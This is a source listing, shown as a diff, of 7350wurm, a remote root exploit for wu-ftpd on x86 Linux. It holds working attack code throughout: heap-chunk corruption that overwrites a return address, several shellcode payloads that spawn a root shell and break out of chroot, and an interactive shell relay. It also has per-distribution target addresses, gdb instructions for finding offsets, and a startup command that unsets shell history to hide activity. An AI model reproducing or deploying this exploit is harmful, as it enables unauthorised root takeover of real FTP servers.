| 669 | unsigned char * wl; | ||
| 670 | |||
| 671 | |||
| 672 | memset (buf, '\0', buf_len); | ||
| 673 | |||
| 674 | memset (buf, '0', CHUNK_POS); | ||
| 675 | xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1); | ||
| 676 | |||
| 677 | for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) { | ||
| 678 | wl[0] = '\xeb'; | ||
| 679 | wl[1] = '\x0c'; | ||
| 680 | } | ||
| 681 | |||
| 682 | memcpy (&buf[buf_len - 1] - tgt->shellcode_len, tgt->shellcode, | ||
| 683 | tgt->shellcode_len); | ||
| 684 | |||
| 685 | |||
| 686 | return (strlen (buf)); | ||
| 687 | } | ||
| 688 | |||
| 689 | |||
| 690 | /* xp_buildchunk | ||
| 691 | * | ||
| 692 | * build the fake malloc chunk that will overwrite retloc with retaddr | ||
| 693 | */ | ||
| 694 | |||
| 695 | void | ||
| 696 | xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) | ||
| 697 | { | ||
| 698 | fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", | ||
| 699 | tgt->retloc, tgt->retaddr, clen); | ||
| 700 | |||
| 701 | /* easy, straight forward technique | ||
| 702 | */ | ||
| 703 | ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */ | ||
| 704 | ADDR_STORE (&cspace[4], 0xfffffffc); /* this_size */ | ||
| 705 | ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */ | ||
| 706 | ADDR_STORE (&cspace[12], tgt->retaddr); /* bk */ | ||
| 707 | |||
| 708 | return; | ||
| 709 | } | ||
| 710 | |||
| 711 | |||
| 712 | |||
| 713 | void | ||
| 714 | shell (int sock) | ||
| 715 | { | ||
| 716 | int l; | ||
| 717 | char buf[512]; | ||
| 718 | fd_set rfds; | ||
| 719 | |||
| 720 | |||
| 721 | while (1) { | ||
| 722 | FD_SET (0, &rfds); | ||
| 723 | FD_SET (sock, &rfds); | ||
| 724 | |||
| 725 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 726 | if (FD_ISSET (0, &rfds)) { | ||
| 727 | l = read (0, buf, sizeof (buf)); | ||
| 728 | if (l <= 0) { | ||
| 729 | perror ("read user"); | ||
| 730 | exit (EXIT_FAILURE); | ||
| 731 | } | ||
| 732 | write (sock, buf, l); | ||
| 733 | } | ||
| 734 | |||
| 735 | if (FD_ISSET (sock, &rfds)) { | ||
| 736 | l = read (sock, buf, sizeof (buf)); | ||
| 737 | if (l == 0) { | ||
| 738 | printf ("connection closed by foreign host.\n"); | ||
| 739 | exit (EXIT_FAILURE); | ||
| 740 | } else if (l < 0) { | ||
| 741 | perror ("read remote"); | ||
| 742 | exit (EXIT_FAILURE); | ||
| 743 | } | ||
| 744 | write (1, buf, l); | ||
| 745 | } | ||
| 746 | } | ||
| 747 | } | ||
| 748 | |||
| 749 | |||
| 750 | /*** FTP functions | ||
| 751 | */ | ||
| 752 | |||
| 753 | /* FTP is TELNET is SHIT. | ||
| 754 | */ | ||
| 755 | |||
| 756 | void | ||
| 757 | ftp_escape (unsigned char *buf, unsigned long int buflen) | ||
| 758 | { | ||
| 759 | unsigned char * obuf = buf; | ||
| 760 | |||
| 761 | |||
| 762 | for ( ; *buf != '\0' ; ++buf) { | ||
| 763 | if (*buf == 0xff && | ||
| 764 | (((buf - obuf) + strlen (buf) + 1) < buflen)) | ||
| 765 | { | ||
| 766 | memmove (buf + 1, buf, strlen (buf) + 1); | ||
| 767 | buf += 1; | ||
| 768 | } | ||
| 769 | } | ||
| 770 | } | ||
| 771 | |||
| 772 | |||
| 773 | void | ||
| 774 | ftp_recv_until (int sock, char *buff, int len, char *begin) | ||
| 775 | { | ||
| 776 | char dbuff[2048]; | ||
| 777 | |||
| 778 | |||
| 779 | if (buff == NULL) { | ||
| 780 | buff = dbuff; | ||
| 781 | len = sizeof (dbuff); | ||
| 782 | } | ||
| 783 | |||
| 784 | do { | ||
| 785 | memset (buff, '\x00', len); | ||
| 786 | if (net_rlinet (sock, buff, len - 1, 20) <= 0) | ||
| 787 | return; | ||
| 788 | } while (memcmp (buff, begin, strlen (begin)) != 0); | ||
| 789 | |||
| 790 | return; | ||
| 791 | } | ||
| 792 | |||
| 793 | |||
| 794 | int | ||
| 795 | ftp_login (char *host, char *user, char *pass) | ||
| 796 | { | ||
| 797 | int ftpsock; | ||
| 798 | char resp[512]; | ||
| 799 | |||
| 800 | |||
| 801 | ftpsock = net_connect (NULL, host, 21, 30); | ||
| 802 | if (ftpsock <= 0) | ||
| 803 | return (0); | ||
| 804 | |||
| 805 | memset (resp, '\x00', sizeof (resp)); | ||
| 806 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 807 | goto flerr; | ||
| 808 | |||
| 809 | /* handle multiline pre-login stuff (rfc violation !) | ||
| 810 | */ | ||
| 811 | if (memcmp (resp, "220-", 4) == 0) | ||
| 812 | ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); | ||
| 813 | |||
| 814 | if (memcmp (resp, "220 ", 4) != 0) { | ||
| 815 | if (verbose) | ||
| 816 | printf ("\n%s\n", resp); | ||
| 817 | goto flerr; | ||
| 818 | } | ||
| 819 | ftp_banner = strdup (resp); | ||
| 820 | |||
| 821 | net_write (ftpsock, "USER %s\n", user); | ||
| 822 | memset (resp, '\x00', sizeof (resp)); | ||
| 823 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 824 | goto flerr; | ||
| 825 | |||
| 826 | if (memcmp (resp, "331 ", 4) != 0) { | ||
| 827 | if (verbose) | ||
| 828 | printf ("\n%s\n", resp); | ||
| 829 | goto flerr; | ||
| 830 | } | ||
| 831 | |||
| 832 | net_write (ftpsock, "PASS %s\n", pass); | ||
| 833 | memset (resp, '\x00', sizeof (resp)); | ||
| 834 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 835 | goto flerr; | ||
| 836 | |||
| 837 | |||
| 838 | /* handle multiline responses from ftp servers | ||
| 839 | */ | ||
| 840 | if (memcmp (resp, "230-", 4) == 0) | ||
| 841 | ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); | ||
| 842 | |||
| 843 | if (memcmp (resp, "230 ", 4) != 0) { | ||
| 844 | if (verbose) | ||
| 845 | printf ("\n%s\n", resp); | ||
| 846 | goto flerr; | ||
| 847 | } | ||
| 848 | |||
| 849 | return (ftpsock); | ||
| 850 | |||
| 851 | flerr: | ||
| 852 | if (ftpsock > 0) | ||
| 853 | close (ftpsock); | ||
| 854 | |||
| 855 | return (0); | ||
| 856 | } | ||
| 857 | |||
| 858 | |||
| 859 | /* ripped from zodiac */ | ||
| 860 | void | ||
| 861 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 862 | { | ||
| 863 | unsigned int dp, p; /* data pointer */ | ||
| 864 | const char trans[] = | ||
| 865 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 866 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 867 | "nopqrstuvwxyz{|}~...................................." | ||
| 868 | "....................................................." | ||
| 869 | "........................................"; | ||
| 870 | |||
| 871 | |||
| 872 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 873 | |||
| 874 | for (dp = 1; dp <= amount; dp++) { | ||
| 875 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 876 | if ((dp % 8) == 0) | ||
| 877 | fprintf (stderr, " "); | ||
| 878 | if ((dp % 16) == 0) { | ||
| 879 | fprintf (stderr, "| "); | ||
| 880 | p = dp; | ||
| 881 | for (dp -= 16; dp < p; dp++) | ||
| 882 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 883 | fflush (stderr); | ||
| 884 | fprintf (stderr, "\n"); | ||
| 885 | } | ||
| 886 | fflush (stderr); | ||
| 887 | } | ||
| 888 | if ((amount % 16) != 0) { | ||
| 889 | p = dp = 16 - (amount % 16); | ||
| 890 | for (dp = p; dp > 0; dp--) { | ||
| 891 | fprintf (stderr, " "); | ||
| 892 | if (((dp % 8) == 0) && (p != 8)) | ||
| 893 | fprintf (stderr, " "); | ||
| 894 | fflush (stderr); | ||
| 895 | } | ||
| 896 | fprintf (stderr, " | "); | ||
| 897 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 898 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 899 | fflush (stderr); | ||
| 900 | } | ||
| 901 | fprintf (stderr, "\n"); | ||
| 902 | |||
| 903 | return; | ||
| 904 | } | ||
| 905 | |||
| 906 | |||
| 907 | |||
| 908 | unsigned long int | ||
| 909 | net_resolve (char *host) | ||
| 910 | { | ||
| 911 | long i; | ||
| 912 | struct hostent *he; | ||
| 913 | |||
| 914 | i = inet_addr(host); | ||
| 915 | if (i == -1) { | ||
| 916 | he = gethostbyname(host); | ||
| 917 | if (he == NULL) { | ||
| 918 | return (0); | ||
| 919 | } else { | ||
| 920 | return (*(unsigned long *) he->h_addr); | ||
| 921 | } | ||
| 922 | } | ||
| 923 | return (i); | ||
| 924 | } | ||
| 925 | |||
| 926 | |||
| 927 | int | ||
| 928 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 929 | unsigned short int port, int sec) | ||
| 930 | { | ||
| 931 | int n, | ||
| 932 | len, | ||
| 933 | error, | ||
| 934 | flags; | ||
| 935 | int fd; | ||
| 936 | struct timeval tv; | ||
| 937 | fd_set rset, wset; | ||
| 938 | struct sockaddr_in csa; | ||
| 939 | |||
| 940 | if (cs == NULL) | ||
| 941 | cs = &csa; | ||
| 942 | |||
| 943 | /* first allocate a socket */ | ||
| 944 | cs->sin_family = AF_INET; | ||
| 945 | cs->sin_port = htons (port); | ||
| 946 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 947 | if (fd == -1) | ||
| 948 | return (-1); | ||
| 949 | |||
| 950 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 951 | close (fd); | ||
| 952 | return (-1); | ||
| 953 | } | ||
| 954 | |||
| 955 | flags = fcntl (fd, F_GETFL, 0); | ||
| 956 | if (flags == -1) { | ||
| 957 | close (fd); | ||
| 958 | return (-1); | ||
| 959 | } | ||
| 960 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 961 | if (n == -1) { | ||
| 962 | close (fd); | ||
| 963 | return (-1); | ||
| 964 | } | ||
| 965 | |||
| 966 | error = 0; | ||
| 967 | |||
| 968 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 969 | if (n < 0) { | ||
| 970 | if (errno != EINPROGRESS) { | ||
| 971 | close (fd); | ||
| 972 | return (-1); | ||
| 973 | } | ||
| 974 | } | ||
| 975 | if (n == 0) | ||
| 976 | goto done; | ||
| 977 | |||
| 978 | FD_ZERO(&rset); | ||
| 979 | FD_ZERO(&wset); | ||
| 980 | FD_SET(fd, &rset); | ||
| 981 | FD_SET(fd, &wset); | ||
| 982 | tv.tv_sec = sec; | ||
| 983 | tv.tv_usec = 0; | ||
| 984 | |||
| 985 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 986 | if (n == 0) { | ||
| 987 | close(fd); | ||
| 988 | errno = ETIMEDOUT; | ||
| 989 | return (-1); | ||
| 990 | } | ||
| 991 | if (n == -1) | ||
| 992 | return (-1); | ||
| 993 | |||
| 994 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 995 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 996 | len = sizeof(error); | ||
| 997 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 998 | errno = ETIMEDOUT; | ||
| 999 | return (-1); | ||
| 1000 | } | ||
| 1001 | if (error == 0) { | ||
| 1002 | goto done; | ||
| 1003 | } else { | ||
| 1004 | errno = error; | ||
| 1005 | return (-1); | ||
| 1006 | } | ||
| 1007 | } | ||
| 1008 | } else | ||
| 1009 | return (-1); | ||
| 1010 | |||
| 1011 | done: | ||
| 1012 | n = fcntl(fd, F_SETFL, flags); | ||
| 1013 | if (n == -1) | ||
| 1014 | return (-1); | ||
| 1015 | return (fd); | ||
| 1016 | } | ||
| 1017 | |||
| 1018 | |||
| 1019 | void | ||
| 1020 | net_write (int fd, const char *str, ...) | ||
| 1021 | { | ||
| 1022 | char tmp[1025]; | ||
| 1023 | va_list vl; | ||
| 1024 | int i; | ||
| 1025 | |||
| 1026 | va_start(vl, str); | ||
| 1027 | memset(tmp, 0, sizeof(tmp)); | ||
| 1028 | i = vsnprintf(tmp, sizeof(tmp), str, vl); | ||
| 1029 | va_end(vl); | ||
| 1030 | |||
| 1031 | #ifdef DEBUG | ||
| 1032 | printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); | ||
| 1033 | #endif | ||
| 1034 | |||
| 1035 | send(fd, tmp, i, 0); | ||
| 1036 | return; | ||
| 1037 | } | ||
| 1038 | |||
| 1039 | |||
| 1040 | int | ||
| 1041 | net_rlinet (int fd, char *buf, int bufsize, int sec) | ||
| 1042 | { | ||
| 1043 | int n; | ||
| 1044 | unsigned long int rb = 0; | ||
| 1045 | struct timeval tv_start, tv_cur; | ||
| 1046 | |||
| 1047 | memset(buf, '\0', bufsize); | ||
| 1048 | (void) gettimeofday(&tv_start, NULL); | ||
| 1049 | |||
| 1050 | do { | ||
| 1051 | (void) gettimeofday(&tv_cur, NULL); | ||
| 1052 | if (sec > 0) { | ||
| 1053 | if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - | ||
| 1054 | ((tv_start.tv_sec * 1000000) + | ||
| 1055 | (tv_start.tv_usec))) > (sec * 1000000)) | ||
| 1056 | { | ||
| 1057 | return (-1); | ||
| 1058 | } | ||
| 1059 | } | ||
| 1060 | n = net_rtimeout(fd, NET_READTIMEOUT); | ||
| 1061 | if (n <= 0) { | ||
| 1062 | return (-1); | ||
| 1063 | } | ||
| 1064 | n = read(fd, buf, 1); | ||
| 1065 | if (n <= 0) { | ||
| 1066 | return (n); | ||
| 1067 | } | ||
| 1068 | rb++; | ||
| 1069 | if (*buf == '\n') | ||
| 1070 | return (rb); | ||
| 1071 | buf++; | ||
| 1072 | if (rb >= bufsize) | ||
| 1073 | return (-2); /* buffer full */ | ||
| 1074 | } while (1); | ||
| 1075 | } | ||
| 1076 | |||
| 1077 | |||
| 1078 | int | ||
| 1079 | net_rtimeout (int fd, int sec) | ||
| 1080 | { | ||
| 1081 | fd_set rset; | ||
| 1082 | struct timeval tv; | ||
| 1083 | int n, error, flags; | ||
| 1084 | |||
| 1085 | |||
| 1086 | error = 0; | ||
| 1087 | flags = fcntl(fd, F_GETFL, 0); | ||
| 1088 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1089 | if (n == -1) | ||
| 1090 | return (-1); | ||
| 1091 | |||
| 1092 | FD_ZERO(&rset); | ||
| 1093 | FD_SET(fd, &rset); | ||
| 1094 | tv.tv_sec = sec; | ||
| 1095 | tv.tv_usec = 0; | ||
| 1096 | |||
| 1097 | /* now we wait until more data is received then the tcp low level | ||
| 1098 | * watermark, which should be setted to 1 in this case (1 is default) | ||
| 1099 | */ | ||
| 1100 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 1101 | if (n == 0) { | ||
| 1102 | n = fcntl(fd, F_SETFL, flags); | ||
| 1103 | if (n == -1) | ||
| 1104 | return (-1); | ||
| 1105 | errno = ETIMEDOUT; | ||
| 1106 | return (-1); | ||
| 1107 | } | ||
| 1108 | if (n == -1) { | ||
| 1109 | return (-1); | ||
| 1110 | } | ||
| 1111 | /* socket readable ? */ | ||
| 1112 | if (FD_ISSET(fd, &rset)) { | ||
| 1113 | n = fcntl(fd, F_SETFL, flags); | ||
| 1114 | if (n == -1) | ||
| 1115 | return (-1); | ||
| 1116 | return (1); | ||
| 1117 | } else { | ||
| 1118 | n = fcntl(fd, F_SETFL, flags); | ||
| 1119 | if (n == -1) | ||
| 1120 | return (-1); | ||
| 1121 | errno = ETIMEDOUT; | ||
| 1122 | return (-1); | ||
| 1123 | } | ||
| 1124 | } | ||
| 1125 | |||
| 1126 | |||
| 1127 | static int | ||
| 1128 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 1129 | unsigned char *shellcode, char **argv) | ||
| 1130 | { | ||
| 1131 | int i; | ||
| 1132 | size_t tl_orig = target_len; | ||
| 1133 | |||
| 1134 | |||
| 1135 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 1136 | return (-1); | ||
| 1137 | |||
| 1138 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 1139 | target += strlen (shellcode); | ||
| 1140 | target_len -= strlen (shellcode); | ||
| 1141 | |||
| 1142 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 1143 | ; | ||
| 1144 | |||
| 1145 | /* set argument count | ||
| 1146 | */ | ||
| 1147 | target[0] = (unsigned char) i; | ||
| 1148 | target++; | ||
| 1149 | target_len--; | ||
| 1150 | |||
| 1151 | for ( ; i > 0 ; ) { | ||
| 1152 | i -= 1; | ||
| 1153 | |||
| 1154 | if (strlen (argv[i]) >= target_len) | ||
| 1155 | return (-1); | ||
| 1156 | |||
| 1157 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 1158 | (tl_orig - target_len), tl_orig, | ||
| 1159 | strlen (argv[i]), argv[i]); | ||
| 1160 | |||
| 1161 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 1162 | target += strlen (argv[i]); | ||
| 1163 | target_len -= strlen (argv[i]); | ||
| 1164 | |||
| 1165 | target[0] = (unsigned char) (i + 1); | ||
| 1166 | target++; | ||
| 1167 | target_len -= 1; | ||
| 1168 | } | ||
| 1169 | |||
| 1170 | return (tl_orig - target_len); | ||
| 1171 | } | ||
| 1172 | |||
| 1173 | |||
diff --git a/exploits/7350wurm/7350wurm-backup3.c b/exploits/7350wurm/7350wurm-backup3.c new file mode 100644 index 0000000..2638dd7 --- /dev/null +++ b/exploits/7350wurm/7350wurm-backup3.c | |||
| @@ -0,0 +1,1235 @@ | |||
| 1 | /* 7350wurm - x86/linux wu-ftpd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and | ||
| 21 | * ideas (synnergy.net rocks, thank you buddies ! :). | ||
| 22 | */ | ||
| 23 | |||
| 24 | #define VERSION "0.1.1" | ||
| 25 | |||
| 26 | #include <sys/types.h> | ||
| 27 | #include <sys/time.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | #include <netinet/in.h> | ||
| 30 | #include <arpa/inet.h> | ||
| 31 | #include <arpa/telnet.h> | ||
| 32 | #include <netdb.h> | ||
| 33 | #include <errno.h> | ||
| 34 | #include <fcntl.h> | ||
| 35 | #include <unistd.h> | ||
| 36 | #include <stdio.h> | ||
| 37 | #include <stdlib.h> | ||
| 38 | #include <stdarg.h> | ||
| 39 | #include <string.h> | ||
| 40 | #include <time.h> | ||
| 41 | |||
| 42 | |||
| 43 | #define INIT_CMD "unset HISTFILE;id;uname -a;\n" | ||
| 44 | |||
| 45 | /* shellcodes | ||
| 46 | */ | ||
| 47 | unsigned char x86_lnx_loop[] = | ||
| 48 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 49 | "\xeb\xfe"; | ||
| 50 | |||
| 51 | /* x86/linux write/read/exec code (41 bytes) | ||
| 52 | * does: 1. write (1, "\nsP\n", 4); | ||
| 53 | * 2. read (0, ncode, 0xff); | ||
| 54 | * 3. jmp ncode | ||
| 55 | */ | ||
| 56 | unsigned char x86_wrx[] = | ||
| 57 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 58 | |||
| 59 | "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01" | ||
| 60 | "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb" | ||
| 61 | "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd" | ||
| 62 | "\x80\xeb\x05\xe8\xed\xff\xff\xff"; | ||
| 63 | |||
| 64 | |||
| 65 | unsigned char x86_lnx_execve[] = | ||
| 66 | /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break | ||
| 67 | * code by lorian / teso | ||
| 68 | */ | ||
| 69 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 70 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 71 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 72 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 73 | "\x80" | ||
| 74 | |||
| 75 | /* 33 byte x86/linux PIC argv -sc | ||
| 76 | */ | ||
| 77 | "\xeb\x1c\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" | ||
| 78 | "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" | ||
| 79 | // "\xe1\xb0\x0b\xcd\x80\xe8\xdf\xff\xff\xff"; | ||
| 80 | /*FIXME*/"\xe1\xb0\x0b\xcc\xcd\x80\xe8\xdf\xff\xff\xff"; | ||
| 81 | // ^^ debug trap | ||
| 82 | |||
| 83 | |||
| 84 | /* setreuid/chroot/execve | ||
| 85 | * lorian / teso */ | ||
| 86 | unsigned char x86_lnx_shell[] = | ||
| 87 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 88 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 89 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 90 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 91 | "\x80" | ||
| 92 | "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f" | ||
| 93 | "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; | ||
| 94 | |||
| 95 | /* HOWTO get the offsets: | ||
| 96 | |||
| 97 | retloc: objdump -R /usr/sbin/in.ftpd | grep free | ||
| 98 | |||
| 99 | set retaddr to 0x41414141 and run the exploit: | ||
| 100 | $ ./7 -t <yourtype> -D -v | ||
| 101 | |||
| 102 | Now when it asks for enter, just press it, but as it asks the second | ||
| 103 | time, attach GDB to the wuftpd process. Continue it, and press enter | ||
| 104 | in the exploit. Wuftpd will segfault. | ||
| 105 | |||
| 106 | Do: | ||
| 107 | (gdb) x/10wx $esp | ||
| 108 | |||
| 109 | It will show some parameters to free, the first parameter of the form | ||
| 110 | 0x08...... is interesting: | ||
| 111 | |||
| 112 | (gdb) x/64wx 0x08...... | ||
| 113 | |||
| 114 | Should show a block of 0x0ceb0ceb's in memory. Just choose such a place | ||
| 115 | as retloc and there you are. | ||
| 116 | */ | ||
| 117 | |||
| 118 | typedef struct { | ||
| 119 | char * desc; /* distribution */ | ||
| 120 | char * banner; /* ftp banner part */ | ||
| 121 | unsigned char * shellcode; | ||
| 122 | unsigned int shellcode_len; | ||
| 123 | |||
| 124 | unsigned long int retloc; /* return address location */ | ||
| 125 | unsigned long int retaddr; /* return address */ | ||
| 126 | } tgt_type; | ||
| 127 | |||
| 128 | |||
| 129 | tgt_type tmanual = { | ||
| 130 | "manual values", | ||
| 131 | "unknown banner", | ||
| 132 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 133 | 0x41414141, 0x42424242 | ||
| 134 | }; | ||
| 135 | |||
| 136 | tgt_type targets[] = { | ||
| 137 | { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]", | ||
| 138 | "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001", | ||
| 139 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 140 | 0x0806e7a0, 0x08094018 }, | ||
| 141 | |||
| 142 | { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]", | ||
| 143 | "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000", | ||
| 144 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 145 | 0x080713e0, 0x08093c40 }, | ||
| 146 | |||
| 147 | { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]", | ||
| 148 | "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001", | ||
| 149 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 150 | 0x08072bd4, 0x080976e0}, | ||
| 151 | |||
| 152 | { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.rpm]", | ||
| 153 | "Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998", | ||
| 154 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 155 | 0x08061c48, 0x0806c948 }, | ||
| 156 | |||
| 157 | /* TODO: check, does not segfault ! | ||
| 158 | { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.rpm]", | ||
| 159 | "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999", | ||
| 160 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 161 | 0x08069f04, 0x41414141 }, | ||
| 162 | */ | ||
| 163 | |||
| 164 | { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", | ||
| 165 | "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", | ||
| 166 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 167 | 0x0806cb88, 0x08089848 }, | ||
| 168 | |||
| 169 | { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]", | ||
| 170 | "Version wu-2.6.1-16(1)", | ||
| 171 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 172 | 0x0807314c, 0x08098e40 }, | ||
| 173 | |||
| 174 | /* slackware (from 8 on they use proftpd by default) */ | ||
| 175 | { "Slackware 7", | ||
| 176 | "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999", | ||
| 177 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 178 | 0x0806d03c, 0x0808f648 }, | ||
| 179 | |||
| 180 | { "Slackware 7.1", | ||
| 181 | "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000", | ||
| 182 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 183 | 0x0806ba2c, 0x08088e48 }, | ||
| 184 | |||
| 185 | { NULL, NULL, 0, 0, 0, 0 }, | ||
| 186 | }; | ||
| 187 | |||
| 188 | /* exploitation related stuff. | ||
| 189 | * DO NOT CHANGE, except you know exactly what you are doing. | ||
| 190 | */ | ||
| 191 | #define CHUNK_POS 192 | ||
| 192 | |||
| 193 | #define MALLOC_ALIGN_MASK 0x07 | ||
| 194 | #define MALLOC_MINSIZE 0x10 | ||
| 195 | #define CHUNK_ROUND(s) \ | ||
| 196 | (((((s) + 4 + MALLOC_ALIGN_MASK)) < \ | ||
| 197 | (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \ | ||
| 198 | (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & ~MALLOC_ALIGN_MASK)) | ||
| 199 | |||
| 200 | |||
| 201 | /* FTP related stuff | ||
| 202 | */ | ||
| 203 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 204 | char * username = "ftp"; /* can be changed with -u */ | ||
| 205 | char * password = "mozilla@"; /* can be changed with -p */ | ||
| 206 | |||
| 207 | char * ftp_banner = NULL; | ||
| 208 | |||
| 209 | int verbose = 0; | ||
| 210 | |||
| 211 | |||
| 212 | /* FTP prototypes | ||
| 213 | */ | ||
| 214 | void ftp_escape (unsigned char *buf, unsigned long int buflen); | ||
| 215 | void ftp_recv_until (int sock, char *buff, int len, char *begin); | ||
| 216 | int ftp_login (char *host, char *user, char *pass); | ||
| 217 | |||
| 218 | |||
| 219 | /* main prototypes | ||
| 220 | */ | ||
| 221 | void usage (char *progname); | ||
| 222 | tgt_type * tgt_frombanner (unsigned char *banner); | ||
| 223 | void shell (int sock); | ||
| 224 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 225 | |||
| 226 | void xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize); | ||
| 227 | void xp_gapfill (int fd, int rnfr_num, int rnfr_size); | ||
| 228 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 229 | void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); | ||
| 230 | |||
| 231 | |||
